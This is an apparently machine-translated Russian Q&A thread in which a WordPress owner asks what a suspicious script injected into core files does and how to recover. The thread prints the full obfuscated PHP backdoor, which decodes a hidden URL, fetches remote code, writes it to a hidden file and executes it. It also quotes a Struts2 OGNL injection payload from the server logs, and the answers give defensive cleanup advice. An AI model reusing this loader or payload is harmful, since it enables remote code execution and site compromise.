#php #wordpress #apache #security #php-5.3
#php #wordpress #apache #Безопасность #php-5.3
Вопрос:
Веб-сайт WordPress не может быть доступен со вчерашнего дня и показывает только сообщение, начинающееся с этого
Загрузочный файл для установки константы ABSPATH и загрузки wp-config.php файл. The wp-config.php затем файл загрузит wp-settings.php файл, который затем настроит среду WordPress.
Я быстро деактивировал сайт и просмотрел код и обнаружил какой-то подозрительный PHP-скрипт, вставленный в wp-load.php , wp-setting.php в нескольких частях в wp-inlcude/functions.php . Кто-нибудь скажет мне, что он пытался сделать?
Что вы рекомендуете для моего следующего шага? Я восстановил веб-страницу благодаря резервной копии, и, похоже, атака не затронула базу данных, но я беспокоюсь о том, какую информацию они получили от этого.
Это скрипт:
<?php
@ini_set('display_errors', '0');
error_reporting(0);
if (!$npDcheckClassBgp) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrLUvdAsS7swbOuvdPFbQdr9dm2WSGbE=";
if (ini_get('allow_url_fopen')) {
function get_data_ya($url) {
$data = file_get_contents($url);
return $data;
}
}
else {
function get_data_ya($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
function wp_cd($fd, $fa="")
{
$fe = "wp_frmfunct";
$len = strlen($fd);
$ff = '';
$n = $len>100 ? 8 : 2;
while( strlen($ff)<$len )
{
$ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
}
return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
$subdirs = glob("$dira/*", GLOB_ONLYDIR);
foreach ($subdirs as $subdira) {
if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
}
}
if (!$ura amp;amp; fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?phpn$mtchs[1]n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
}
?>
Я нашел это в своих журналах Apache:
Слишком длинное имя файла: доступ к /%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#res=@org.apache.struts2.ServletActionContext@getResponse ()).(#res.AddHeader(‘eresult’,’struts2_security_check’))}/ сбой
Ответ №1:
Лучше всего стереть все и начать с нуля. Если это невозможно:
- Удалите все подозрительные PHP-файлы, особенно в
wp-content
каталоге. - Проверьте дату последнего изменения всех PHP-файлов WordPress. Ищите что-нибудь еще подозрительное. (Они могут быть подделаны, но злоумышленники редко беспокоятся.)
- Удалите все свои плагины. Почти каждый плагин WordPress, который я проверил, был полон серьезных уязвимостей, до такой степени, что даже не стоило сообщать о них. Все, что использует Automattic, обычно безопасно, но помимо этого, все ставки отменяются. Все, что связано с электронной почтой (подписки, списки рассылки и т.д.), Помимо JetPack, полно уязвимостей — я проверил многие и не нашел ни одной, которая была бы безопасной.
- Задайте этот вопрос на Security Stack Exchange, если вам нужно быть еще более тщательным или ваш сайт содержит особенно конфиденциальные данные.
- Если ваш сайт собирает личные данные, включая адреса электронной почты, сообщите всем, что ваш сайт был взломан. В некоторых юрисдикциях и отраслях это может потребоваться по закону; вам следует проконсультироваться с юристом, если вы обеспокоены своими юридическими обязательствами.
Комментарии:
1. Спасибо, я спрошу на этой странице. Да, я полностью удалил скомпрометированный сайт и заменил его резервной копией, поэтому весь скомпрометированный код внутри WordPress должен быть удален сейчас. Это блог, поэтому нет администрирования пользователями, кроме пользователя, который обновляет блог. Проверит, собирает ли он некоторые электронные письма для уведомлений.
2. @AlisonLopez Вы должны удалить все свои сторонние плагины независимо и запустить функцию автоматического обновления WordPress. Скорее всего, он снова будет скомпрометирован, если вы оставите его в том же состоянии.
3. Да! Вот почему я asking…to знайте, с чего начать изменения, чтобы это не повторилось! Спасибо!
4. @AlisonLopez Да, шаг № 3 здесь действительно ключевой: экосистема плагинов WordPress нарушена. Если вы используете сторонние плагины, вас взломают — обойти это невозможно.
5. из будущего здесь: если вы находитесь на реселлере или в общем пространстве, тогда весь СЕРВЕР был скомпрометирован, вы должны сменить своего провайдера, иначе инфекция вернется